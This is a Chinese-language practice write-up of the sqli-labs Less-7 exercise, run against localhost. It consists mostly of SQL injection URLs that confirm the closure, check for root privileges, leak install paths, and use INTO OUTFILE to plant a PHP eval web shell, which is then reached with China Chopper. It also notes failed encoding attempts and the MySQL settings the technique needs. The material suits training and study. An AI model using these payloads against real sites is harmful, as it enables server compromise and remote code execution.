http://localhost/sqli/Less-7 (注入SQL )
http://localhost/sqli/Less-7/?id=1')) --+ #确认闭合点
http://localhost/sqli/Less-7/?id=1')) order by 3--+ #确认列数
引用一道面试题:mysql注入点,用工具对目标站写入一句话,需要哪些条件?
root权限以及网站的绝对路径。
先判断权限。用 and (select count(*) from mysql.user)>0 ,如果回显正常,就是表示最高权限。
http://localhost/sqli/Less-7/?id=1')) and (select count(*) from mysql.user)>0--+ #判断是否有root权限
http://localhost/sqli/Less-2/?id=-1 union select 1,@@datadir,@@basedir--+ #由于我太菜了,只能拿第二关获取绝对路径
mysql 安装路径 #D:phpStudyPHPTutorialMySQLdata 数据库路径 #D:/phpStudy/PHPTutorial/MySQL/
用法:select 列名 from table [where语句] into outfile '目标文件'
http://localhost/sqli/Less-7/?id=1')) union select 1,<?php @eval($_POST['cmd']);?>,3 INTO outfile "D:/phpStudy/PHPTutorial/WWW/sqli/less-7/shell.php"--+
写入失败,卧槽卧槽,什么鬼。。。竟然写入失败。然后不停的百度,还有一个点忘记了
GPC为off,php主动转义功能为关闭
my.ini 文件中的这项配置 secure_file_priv=""
保存重启,在尝试一下。内心暴躁的我,感受悲伤。
http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 INTO outfile "xixi.php"--+ #写入成功了
尝试一下,写入本地路径
http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 INTO outfile "D:phpStudyWWWsqliLess-7xixi.php"--+ #写入失败
http://localhost/sqli/Less-7/?id=1')) union select 1,2,3 INTO outfile "D:phpStudyWWWsqliLess-7xixi.php"--+ #写入成功
http://localhost/sqli/Less-7/?id=1')) union select 1,2,'<?php eval($_post['cmd'])?>’ INTO outfile "D:phpStudyWWWsqliLess-7shell.php"--+
写入失败,我该这么办!深刻感受一到一点,学得越多。办法越多。
hex编码尝试一下
http://localhost/sqli/Less-7/?id=1')) union select 1,193c3f70687020406576616c28245f706f73745b27636d64275d293f3e18,3 INTO outfile "D:phpStudyWWWsqliLess-7xx.php"--+ #明显的扑街。我再想想url
http://localhost/sqli/Less-7/?id=1')) union select 1,%19%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%70%6f%73%74%5b%27%63%6d%64%27%5d%29%3f%3e%18,3 INTO outfile "D:phpStudyWWWsqliLess-7xx.php"--+ #还是不行。。。。我应该这么办
http://localhost/sqli/Less-7/?id=1')) union select 1,'<?php @eval($_post["mima"])?>',3 INTO outfile "D:phpStudyWWWsqliLess-7xx.php"--+ #写入成功。。。。这么什么情况
菜刀链接,看结果了。
卧槽,我竟然连出,乌龙一坑
http://localhost/sqli/Less-7/?id=1')) union select 1,'<?php @eval($_POST["cmd"])?>',3 INTO outfile "D:\phpStudy\PHPTutorial\WWW\sqli\Less-7\shell.php"--+ 重新写一次
o(* ̄︶ ̄*)o,不过做出来还是很开心的。